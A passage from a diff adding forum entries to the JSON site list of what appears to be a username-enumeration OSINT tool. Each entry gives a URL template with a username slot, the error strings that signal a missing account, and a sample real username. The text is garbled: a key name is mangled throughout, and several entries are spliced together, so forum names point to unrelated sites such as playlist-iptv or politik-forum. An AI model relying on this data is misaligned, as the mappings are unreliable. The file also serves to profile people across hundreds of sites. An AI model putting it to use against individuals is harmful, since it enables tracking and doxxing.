"https://forum.pirati.cz/search.php?keywords=&terms=all&author={}&sc=1&sf=all&sr=posts&sk=t&sd=d&st=0&ch=300&t=0&submit=Hledat", + "urlMain": "https://forum.pirati.cz", + "usernameON": "Hextus", + "bad_site": "" + }, + "Forum_pisatelforum": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://pisatelforum.ucoz.ru/index/8-0-{}", + "urlMain": "https://pisatelforum.ucoz.ru", + "usernameON": "nix", + "bad_site": "" + }, + "Forum_pitbull-abakan": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorMsg3": "едеральн", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://pitbull-abakan.3dn.ru/index/8-0-{}", + "urlMain": "https://pitbull-abakan.3dn.ru", + "usernameON": "Rolandpag", + "bad_site": "" + }, + "Forum_pixelmonrealms": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://pixelmonrealms.com/members/?username={}", + "urlMain": "https://pixelmonrealms.com", + "usernameON": "dragonowater", + "bad_site": "", + "headers": { + "User-Agent": "curl/8.11.0" + } + }, + "Forum_pkq-clan": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorMsg3": "едеральн", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://pkq-clan.ucoz.com/index/8-0-{}", + "urlMain": "https://pkq-clan.ucoz.com", + "usernameON": "Pinupduzwah", + "bad_site": "" + }, + "Forum_planet-9": { + "country": "🇨🇦", + "country_klas": "CA", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://www.planet-9.com/members/?username={}", + "urlMain": "https://www.planet-9.com", + "usernameON": "deilenberger", + "headers": { + "User-Agent": "curl/8.11.0" + }, + "bad_site": "" + }, + "Forum_planet-nefelana": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorMsg3": "едеральн", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://planet-nefelana.ucoz.ru/index/8-0-{}", + "urlMain": "https://planet-nefelana.ucoz.ru", + "usernameON": "Nefelana", + "bad_site": "" + }, + "Forum_planetarium_kharkov": { + "country": "🇺🇦", + "country_klas": "UA", + "exclusion": "[а-яА-Я]", + "errorMsg": "профиль забанен", + "errorMsg2": "tr>403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "http://playlist-iptv.ucoz.ru/index/8-0-{}", + "urlMain": "http://playlist-iptv.ucoz.ru", + "usernameON": "altechst", + "bad_site": "" + }, + "Forum_playtime": { + "country": "🇩🇪", + "country_klas": "DE", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://www.playtime-forum.info/forum/members/?username={}", + "urlMain": "https://www.playtime-forum.info", + "usernameON": "Glumbi", + "bad_site": "" + }, + "Forum_plcforum": { + "country": "🌎", + "country_klas": "WR", + "errorMsg": "No suitable matches were found.", + "errorMsg2": "Information", + "errorMsg3": "| Cloudflare", + "errorTyp��": "message", + "url": "http://plcforum.uz.ua/search.php?keywords=&terms=all&author={}", + "urlMain": "http://plcforum.uz.ua", + "usernameON": "Novice", + "bad_site": "" + }, + "Forum_pling": { + "country": "🌎", + "country_klas": "WR", + "errorMsg": "UH OH! You're lost.", + "errorMsg2": "", + "errorTyp��": "message", + "url": "https://www.pling.com/u/{}", + "urlMain": "https://www.pling.com", + "usernameON": "dhyegoac2007", + "bad_site": "" + }, + "Forum_plodpitomnik": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Информация", + "errorMsg2": "| Cloudflare", + "errorTyp��": "message", + "url": "https://plodpitomnik.ru/forum/search.php?keywords=&terms=all&author={}&sc=1&sf=all&sr=posts&sk=t&sd=d&st=0&ch=300&t=0&submit=%D0%9F%D0%BE%D0%B8%D1%81%D0%BA", + "urlMain": "https://plodpitomnik.ru", + "usernameON": "tag", + "comments": "super", + "bad_site": 1 + }, + "Forum_plumbing": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://www.plumbingforums.com/members/?username={}", + "urlMain": "https://www.plumbingforums.com/", + "usernameON": "miced69", + "headers": { + "User-Agent": "curl/8.11.0" + }, + "bad_site": "" + }, + "Forum_pmfun": { + "country": "🌎", + "country_klas": "WR", + "errorMsg": "No suitable matches were found.", + "errorMsg2": "Information", + "errorTyp��": "message", + "url": "https://forum.pmfun.com/search.php?keywords=&terms=all&author={}", + "urlMain": "https://forum.pmfun.com", + "usernameON": "JPSZone", + "bad_site": "" + }, + "Forum_pngindians": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://forums.pngindians.com/members/?username={}", + "urlMain": "https://forums.pngindians.com", + "usernameON": "indianfan", + "bad_site": "", + "headers": { + "User-Agent": "curl/8.11.0" + } + }, + "Forum_podolsk": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Подходящих тем или сообщений не найдено.", + "errorMsg2": "Подольский городской форум - Информация", + "errorTyp��": "message", + "url": "https://forum.podolsk.ru/search.php?keywords=&terms=all&author={}", + "urlMain": "https://forum.podolsk.ru", + "usernameON": "irina", + "bad_site": "" + }, + "Forum_podrabotka": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://podrabotka.3dn.ru/index/8-0-{}", + "urlMain": "https://podrabotka.3dn.ru", + "usernameON": "Tara", + "bad_site": "" + }, + "Forum_podrastem": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorTyp��": "message", + "url": "http://podrastem.com/index/8-0-{}", + "urlMain": "http://podrastem.com", + "usernameON": "spenga", + "bad_site": "", + "exclusion": "\\W" + }, + "Forum_poezd-photo": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "<title>403 Forbidden", + "errorMsg3": "едеральн", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://poezd-photo.ucoz.ru/index/8-0-{}", + "urlMain": "https://poezd-photo.ucoz.ru", + "usernameON": "rafikakenirov", + "bad_site": "" + }, + "Forum_pokatushki": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://pokatushki.ucoz.ru/index/8-0-{}", + "urlMain": "https://pokatushki.ucoz.ru", + "usernameON": "Mystic", + "bad_site": "" + }, + "Forum_pokebeach": { + "country": "🇺🇸", + "country_klas": "US", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-я-А-Я]", + "url": "https://www.pokebeach.com/forums/members/?username={}", + "urlMain": "https://www.pokebeach.com", + "usernameON": "geodugtrio", + "bad_site": "", + "headers": { + "User-Agent": "curl/8.11.0" + } + }, + "Forum_pokemine": { + "country": "🌎", + "country_klas": "WR", + "exclusion": "\\W[а-яА-Я]", + "errorMsg": "0 results", + "errorMsg2": "0 user", + "errorMsg3": "Please wait", + "errorTyp��": "message", + "url": "http://forum.pokemine.gg/search/?q={}&type=core_members", + "urlMain": "http://forum.pokemine.gg", + "usernameON": "czoko68", + "bad_site": "" + }, + "Forum_pokemmo": { + "country": "🇪🇺", + "country_klas": "EU", + "errorMsg": "Found 0 results", + "errorMsg2": "There were no results for your search. ", + "errorTyp��": "message", + "exclusion": "[а-яА-Я]", + "url": "https://forums.pokemmo.eu/index.php?/search/&q={}&quick=1&type=core_members", + "urlMain": "https://forums.pokemmo.eu", + "usernameON": "kayninexl", + "bad_site": "" + }, + "Forum_pokemonrevolution": { + "country": "🇺🇸", + "country_klas": "US", + "errorMsg": "Found 0 results", + "errorMsg2": "There were no results for your search.", + "errorTyp��": "message", + "exclusion": "[а-яА-Я]", + "url": "https://pokemonrevolution.net/forum/search/?q={}&quick=1&type=core_members", + "urlMain": "https://pokemonrevolution.net", + "usernameON": "Hack00", + "bad_site": "" + }, + "Forum_pokerchip": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://www.pokerchipforum.com/members/?username={}", + "urlMain": "https://www.pokerchipforum.com", + "usernameON": "dmcl924", + "headers": { + "User-Agent": "curl/8.11.0" + }, + "bad_site": "" + }, + "Forum_pokersrbija": { + "country": "🇪🇺", + "country_klas": "EU", + "errorTyp��": "status_code", + "exclusion": "[а-яА-Я]", + "url": "https://forum.pokersrbija.com/u/{}", + "urlMain": "https://forum.pokersrbija.com", + "usernameON": "mim4dayi", + "bad_site": "" + }, + "Forum_pokerus": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorTyp��": "message", + "url": "https://pokerus.ru/index/8-0-{}", + "urlMain": "https://pokerus.ru", + "usernameON": "Mult", + "bad_site": "", + "exclusion": "\\W" + }, + "Forum_poligon29": { + "country": "🇷🇺", + "country_klas": "RU", + "exclusion": "[а-яА-Я]", + "errorMsg": "профиль забанен", + "errorMsg2": "tr>", + "errorMsg3": "Please wait", + "errorTyp��": "message", + "url": "https://www.politik-forum.eu/search.php?keywords=&terms=all&author={}", + "urlMain": "https://www.politik-forum.eu", + "usernameON": "Michi", + "bad_site": "" + }, + "Forum_politomsk": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "http://politomsk.ru/index/8-0-{}", + "urlMain": "http://politomsk.ru", + "usernameON": "slepuhin198427", + "bad_site": "" + }, + "Forum_polkadot": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "status_code", + "exclusion": "[а-яА-Я]", + "url": "https://forum.polkadot.network/u/{}/summary", + "urlMain": "https://forum.polkadot.network", + "usernameON": "muddlebee", + "bad_site": "" + }, + "Forum_pominovenieiv": { + "country": "🇷🇺", + "country_klas": "RU", + "exclusion": "[а-яА-Я]", + "errorMsg": "профиль забанен", + "errorMsg2": "tr>403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://ponarama.my1.ru/index/8-0-{}", + "urlMain": "https://ponarama.my1.ru", + "usernameON": "realhacking", + "bad_site": "" + }, + "Forum_poodle": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://www.poodleforum.com/members/?username={}", + "urlMain": "https://www.poodleforum.com/", + "usernameON": "cowpony", + "headers": { + "User-Agent": "curl/8.11.0" + }, + "bad_site": "" + }, + "Forum_popasnayalife": { + "country": "🇺🇦", + "country_klas": "UA", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorMsg3": "едеральн", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://popasnayalife.at.ua/index/8-0-{}", + "urlMain": "https://popasnayalife.at.ua", + "usernameON": "AlisaBerne", + "bad_site": "" + }, + "Forum_popgun": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Подходящих тем или сообщений не найдено.", + "errorMsg2": "Информация", + "errorTyp��": "message", + "url": "https://popgun.org/search.php?keywords=&terms=all&author={}&sc=1&sf=all&sr=posts&sk=t&sd=d&st=0&ch=300&t=0&submit=%D0%9F%D0%BE%D0%B8%D1%81%D0%BA", + "urlMain": "https://popgun.ru", + "usernameON": "igor42", + "comments": "bad", + "bad_site": "" + }, + "Forum_popjustice": { + "country": "🌎", + "country_klas": "WR", + "errorMsg": "The specified member cannot be found. Please enter a member's entire name.", + "errorMsg2": "NoneNone", + "errorTyp��": "message", + "url": "https://forum.popjustice.com/members/?username={}", + "urlMain": "https://forum.popjustice.com", + "usernameON": "dumper", + "bad_site": "" + }, + "Forum_porcheAU": { + "country": "🇦🇺", + "country_klas": "AU", + "errorMsg": "0 results", + "errorMsg2": "Please wait", + "errorMsg3": "| Cloudflare", + "errorTyp��": "message", + "url": "https://porscheforum.com.au/search/?q={}&quick=1&type=core_members", + "urlMain": "https://porscheforum.com", + "usernameON": "tomo", + "bad_site": "" + }, + "Forum_porka": { + "country": "🇷🇺", + "country_klas": "RU", + "exclusion": "[а-яА-Я]", + "errorMsg": "профиль забанен", + "errorMsg2": "tr>403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://porki.ucoz.ru/index/8-0-{}", + "urlMain": "https://porki.ucoz.ru", + "usernameON": "porki", + "bad_site": "" + }, + "Forum_pornworld": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://pornworld.to/members/?username={}", + "urlMain": "https://pornworld.to", + "usernameON": "popeluka", + "headers": { + "User-Agent": "curl/8.11.0" + }, + "bad_site": "" + }, + "Forum_portal-anime": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "http://portal-anime.ru/index/8-0-{}", + "urlMain": "http://portal-anime.ru", + "usernameON": "SASUKE1744", + "bad_site": "" + }, + "Forum_portirkutsk": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Подходящих тем или сообщений не найдено", + "errorMsg2": "Пожалуйста, подождите", + "errorMsg3": "| Cloudflare", + "errorTyp��": "message", + "url": "http://portirkutsk.ru/forum/search.php?keywords=&terms=all&author={}", + "urlMain": "http://portirkutsk.ru", + "usernameON": "Tema28", + "bad_site": "" + }, + "Forum_posol_BLOCK_RU_IP": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorMsg3": "едеральн", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "http://posol.ucoz.ru/index/8-0-{}", + "urlMain": "http://posol.ucoz.ru", + "usernameON": "umtor", + "comments": "bad", + "bad_site": "" + }, + "Forum_postwrestling": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "status_code", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://forum.postwrestling.com/u/{}/summary", + "urlMain": "https://forum.postwrestling.com", + "usernameON": "nealflanagan", + "bad_site": "" + }, + "Forum_poteryashka": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "This website is stealing content!", + "errorMsg3": "закрыт", + "errorTyp��": "message", + "url": "http://poteryashka.spb.ru/index/8-0-{}", + "urlMain": "http://poteryashka.spb.ru", + "usernameON": "Chief", + "bad_site": 1, + "comments": "Oplata", + "exclusion": "\\W" + }, + "Forum_potystorony": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://potystorony.ucoz.ru/index/8-0-{}", + "urlMain": "https://potystorony.ucoz.ru", + "usernameON": "zaconnic", + "bad_site": "" + }, + "Forum_pouet": { + "country": "🌎", + "country_klas": "WR", + "errorMsg": "registered
403 Forbidden", + "errorMsg3": "едеральн", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://pravmama.ucoz.ru/index/8-0-{}", + "urlMain": "https://pravmama.ucoz.ru", + "usernameON": "toolni", + "bad_site": "" + }, + "Forum_pravo": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "http://pravo.r1v.ru/index/8-0-{}", + "urlMain": "http://pravo.r1v.ru", + "usernameON": "Arkchloush", + "comments": "bad", + "bad_site": 1 + }, + "Forum_pravoslavie": { + "country": "🇷🇺", + "country_klas": "RU", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://pravoslavie-forum.org/members/?username={}", + "urlMain": "https://pravoslavie-forum.org", + "usernameON": "serg", + "headers": { + "User-Agent": "curl/8.11.0" + }, + "bad_site": "" + }, + "Forum_pravoslavie-12": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://pravoslavie-12.ucoz.ru/index/8-0-{}", + "urlMain": "https://pravoslavie-12.ucoz.ru", + "usernameON": "Admins", + "bad_site": "" + }, + "Forum_pravoslavie-alt": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorMsg3": "едеральн", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://www.pravoslavie-alt.ru/index/8-0-{}", + "urlMain": "https://www.pravoslavie-alt.ru", + "usernameON": "Loginova19", + "comments": "Oplata", + "bad_site": 1 + }, + "Forum_pravoslavielove": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorMsg3": "едеральн", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://pravoslavielove.ucoz.ru/index/8-0-{}", + "urlMain": "https://pravoslavielove.ucoz.ru", + "usernameON": "Oles", + "bad_site": "" + }, + "Forum_predatel": { + "country": "🇺🇦", + "country_klas": "UA", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorTyp��": "message", + "url": "https://predatel.ucoz.ua/index/8-0-{}", + "urlMain": "https://predatel.ucoz.ua", + "usernameON": "Старлей", + "bad_site": "", + "exclusion": "\\W" + }, + "Forum_pregnancy": { + "country": "🇺🇦", + "country_klas": "UA", + "errorMsg": "Извините, такого пользователя не существует", + "errorMsg2": "robots\" content=\"noindex, nofollow", + "errorMsg3": "Critical Error", + "errorTyp��": "message", + "url": "https://pregnancy.org.ua/forum/profile.php?mode=viewprofile&u={}", + "urlMain": "https://pregnancy.org.ua", + "usernameON": "Nadinka", + "bad_site": "" + }, + "Forum_prepas": { + "country": "🇫🇷", + "country_klas": "FR", + "errorMsg": "Aucun sujet ou message ne correspond à vos critères de recherche.", + "errorMsg2": "Please wait", + "errorMsg3": "Information", + "errorTyp��": "message", + "url": "https://forum.prepas.org/search.php?keywords=&terms=all&author={}", + "urlMain": "https://forum.prepas.org", + "usernameON": "red", + "bad_site": "" + }, + "Forum_prepperforums": { + "country": "🇨🇦", + "country_klas": "CA", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://www.prepperforums.net/members/?username={}", + "urlMain": "https://www.prepperforums.net", + "usernameON": "paraquack", + "headers": { + "User-Agent": "curl/8.11.0" + }, + "bad_site": "" + }, + "Forum_pressball": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Подходящих тем или сообщений не найдено.", + "errorMsg2": "Информация\n ", + "errorTyp��": "message", + "url": "https://forum.pressball.by/search.php?keywords=&terms=all&author={}", + "urlMain": "https://forum.pressball.by", + "usernameON": "zalgiris", + "bad_site": 1 + }, + "Forum_pressurewashingresource": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "status_code", + "exclusion": "[а-яА-Я]", + "url": "https://pressurewashingresource.com/community/u/{}/summary", + "urlMain": "https://pressurewashingresource.com/", + "usernameON": "letterguy", + "bad_site": "" + }, + "Forum_prestashop": { + "country": "🇪🇺", + "country_klas": "EU", + "errorMsg": "0 result", + "errorMsg2": "Please wait", + "errorTyp��": "message", + "url": "https://www.prestashop.com/forums/search/?q={}&quick=1&type=core_members", + "urlMain": "https://www.prestashop.com", + "usernameON": "cmpm", + "bad_site": "" + }, + "Forum_prihoz": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Подходящих тем или сообщений не найдено.", + "errorMsg2": "Информация", + "errorTyp��": "message", + "url": "https://forum.prihoz.ru/search.php?keywords=&terms=all&author={}", + "urlMain": "https://forum.prihoz.ru", + "usernameON": "grawicapa", + "bad_site": "" + }, + "Forum_primat": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "http://primat.org/index/8-0-{}", + "urlMain": "http://primat.org", + "usernameON": "alyonaaaaaa", + "bad_site": "" + }, + "Forum_primetimer": { + "country": "🌎", + "country_klas": "WR", + "errorMsg": "0 results", + "errorMsg2": "There were no results", + "errorMsg3": "| Cloudflare", + "errorTyp��": "message", + "url": "https://forums.primetimer.com/index.php?/search/&q={}&quick=1&type=core_members", + "urlMain": "https://forums.primetimer.com", + "usernameON": "athena", + "comments": "ZAK_user", + "bad_site": "" + }, + "Forum_primhunt": { + "country": "🇷🇺", + "country_klas": "RU", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-я-А-Я]", + "url": "https://primhunt.ru/members/?username={}", + "urlMain": "https://primhunt.ru", + "usernameON": "gap", + "bad_site": "", + "headers": { + "User-Agent": "curl/8.11.0" + } + }, + "Forum_primkoniponi": { + "country": "🇷🇺", + "country_klas": "RU", + "exclusion": "[а-яА-Я]", + "errorMsg": "профиль забанен", + "errorMsg2": "tr>", + "errorMsg2": "hidden\" name=\"quicksearch", + "errorTyp��": "message", + "url": "http://www.priorovod.ru/blog.php?username={}", + "urlMain": "http://www.priorovod.ru", + "usernameON": "topcar77", + "bad_site": "" + }, + "Forum_priroda77": { + "country": "🇷🇺", + "country_klas": "RU", + "exclusion": "[а-яА-Я]", + "errorMsg": "профиль забанен", + "errorMsg2": "tr>403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "http://www.privateinvestor2000.com/index/8-0-{}", + "urlMain": "http://www.privateinvestor2000.com", + "usernameON": "olga77kol", + "bad_site": "" + }, + "Forum_prizrak": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "ничего не найдено", + "errorMsg2": "Информация", + "errorTyp��": "message", + "url": "https://prizrak.ws/search.php?action=search&keywords=&author={}&forum=&search_in=0&sort_by=0&sort_dir=DESC&show_as=posts&search=%CE%F2%EF%F0%E0%E2%E8%F2%FC", + "urlMain": "https://prizrak.ws", + "usernameON": "Jockers", + "bad_site": "" + }, + "Forum_prizyvnikmoy": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://prizyvnikmoy.ru/index/8-0-{}", + "urlMain": "https://prizyvnikmoy.ru", + "usernameON": "t1984n2003", + "bad_site": "" + }, + "Forum_pro-cats": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "<title>403 Forbidden", + "errorTyp��": "message", + "url": "http://pro-cats.ru/index/8-0-{}", + "urlMain": "http://pro-cats.ru", + "usernameON": "parrots", + "bad_site": "", + "exclusion": "\\W" + }, + "Forum_pro-edu": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://pro-edu.ucoz.ru/index/8-0-{}", + "urlMain": "https://pro-edu.ucoz.ru", + "usernameON": "ViMo", + "bad_site": "" + }, + "Forum_pro-kleim": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "http://pro-kleim.ucoz.ru/index/8-0-{}", + "urlMain": "http://pro-kleim.ucoz.ru/", + "usernameON": "4047916", + "bad_site": "" + }, + "Forum_pro-zarabotok": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "http://pro-zarabotok.su/index/8-0-{}", + "urlMain": "http://pro-zarabotok.su", + "usernameON": "grusakpavel", + "comments": "bad", + "bad_site": 1 + }, + "Forum_pro100warezz": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403", + "errorTyp��": "message", + "url": "https://pro100warezz.ucoz.ru/index/8-0-{}", + "urlMain": "https://pro100warezz.ucoz.ru", + "usernameON": "jasurbekvideo1987", + "bad_site": "", + "exclusion": "\\W" + }, + "Forum_probiv": { + "country": "🇷🇺", + "country_klas": "RU", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-я-А-Я]", + "url": "https://probiv.cc/members/?username={}", + "urlMain": "https://probiv.cc", + "usernameON": "Valerun", + "bad_site": "", + "headers": { + "User-Agent": "curl/8.11.0" + } + }, + "Forum_prodigy": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "<title>403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://prodigy.moy.su/index/8-0-{}", + "urlMain": "https://prodigy.moy.su", + "usernameON": "Jap", + "bad_site": "" + }, + "Forum_prodjex": { + "country": "🌎", + "country_klas": "WR", + "errorMsg": "0 results", + "errorMsg2": "| Cloudflare", + "errorMsg3": "Please wait", + "errorTyp��": "message", + "url": "https://forums.prodjex.com/search/?q={}&quick=1&type=core_members", + "urlMain": "https://forums.prodjex.com", + "usernameON": "shriyanshi", + "bad_site": "" + }, + "Forum_proekt-gaz": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "http://proekt-gaz.ru/index/8-0-{}", + "urlMain": "http://proekt-gaz.ru", + "usernameON": "gaspar", + "bad_site": "" + }, + "Forum_proekt-ts-ow-wk": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "<title>403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://proekt-ts-ow-wk.ucoz.ru/index/8-0-{}", + "urlMain": "https://proekt-ts-ow-wk.ucoz.ru", + "usernameON": "demi", + "bad_site": "" + }, + "Forum_prof": { + "country": "🇷🇺", + "country_klas": "RU", + "exclusion": "[а-яА-Я]", + "errorMsg": "профиль забанен", + "errorMsg2": "tr><td colspan", + "errorMsg3": "| Cloudflare", + "errorTyp��": "message", + "url": "https://prof.forum24.ru/?32-{}", + "urlMain": "https://prof.forum24.ru", + "usernameON": "lahamar", + "bad_site": "" + }, + "Forum_prof-foto-video": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "<title>403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://prof-foto-video.ucoz.ru/index/8-0-{}", + "urlMain": "https://prof-foto-video.ucoz.ru", + "usernameON": "Montager", + "bad_site": "" + }, + "Forum_prof-rem-zona": { + "country": "🇺🇦", + "country_klas": "UA", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://prof-rem-zona.at.ua/index/8-0-{}", + "urlMain": "https://prof-rem-zona.at.ua", + "usernameON": "radopitopit0002", + "bad_site": "" + }, + "Forum_professionalmuscle": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://www.professionalmuscle.com/forums/index.php?members/&username={}", + "urlMain": "https://www.professionalmuscle.com", + "usernameON": "lk3", + "headers": { + "User-Agent": "curl/8.11.0" + }, + "bad_site": "" + }, + "Forum_profile_astro": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "response_url", + "url": "https://profile.astro-seek.com/{}", + "urlMain": "https://profile.astro-seek.com", + "usernameON": "sduraybito", + "bad_site": "" + }, + "Forum_profootball": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://www.profootballforums.com/members/?username={}", + "urlMain": "https://www.profootballforums.com", + "usernameON": "rowdy", + "headers": { + "User-Agent": "curl/8.11.0" + }, + "bad_site": "" + }, + "Forum_progagarin": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorMsg3": "едеральн", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "http://progagarin.ru/index/8-0-{}", + "urlMain": "http://progagarin.ru", + "usernameON": "Pol", + "bad_site": "" + }, + "Forum_prohashing": { + "country": "🌎", + "country_klas": "WR", + "errorMsg": "Information", + "errorMsg2": "Please wait", + "errorMsg3": "| Cloudflare", + "errorTyp��": "message", + "url": "https://forums.prohashing.com/search.php?keywords=&terms=all&author={}&sc=1&sf=all&sr=posts&sk=t&sd=d&st=0&ch=300&t=0&submit=Search", + "urlMain": "https://forums.prohashing.com", + "usernameON": "lewishamilton", + "bad_site": "" + }, + "Forum_project-ss": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "http://project-ss.ru/index/8-0-{}", + "urlMain": "http://project-ss.ru", + "usernameON": "oleg1980nik", + "comments": "bad", + "bad_site": 1 + }, + "Forum_projectpokemon": { + "country": "🇺🇸", + "country_klas": "US", + "errorMsg": "Found 0 results", + "errorMsg2": "There were no results for your search.", + "errorTyp��": "message", + "exclusion": "[а-яА-Я]", + "url": "https://projectpokemon.org/home/search/?q={}&quick=1&type=core_members", + "urlMain": "https://projectpokemon.org", + "usernameON": "insanenutter", + "bad_site": "" + }, + "Forum_prokireevsk": 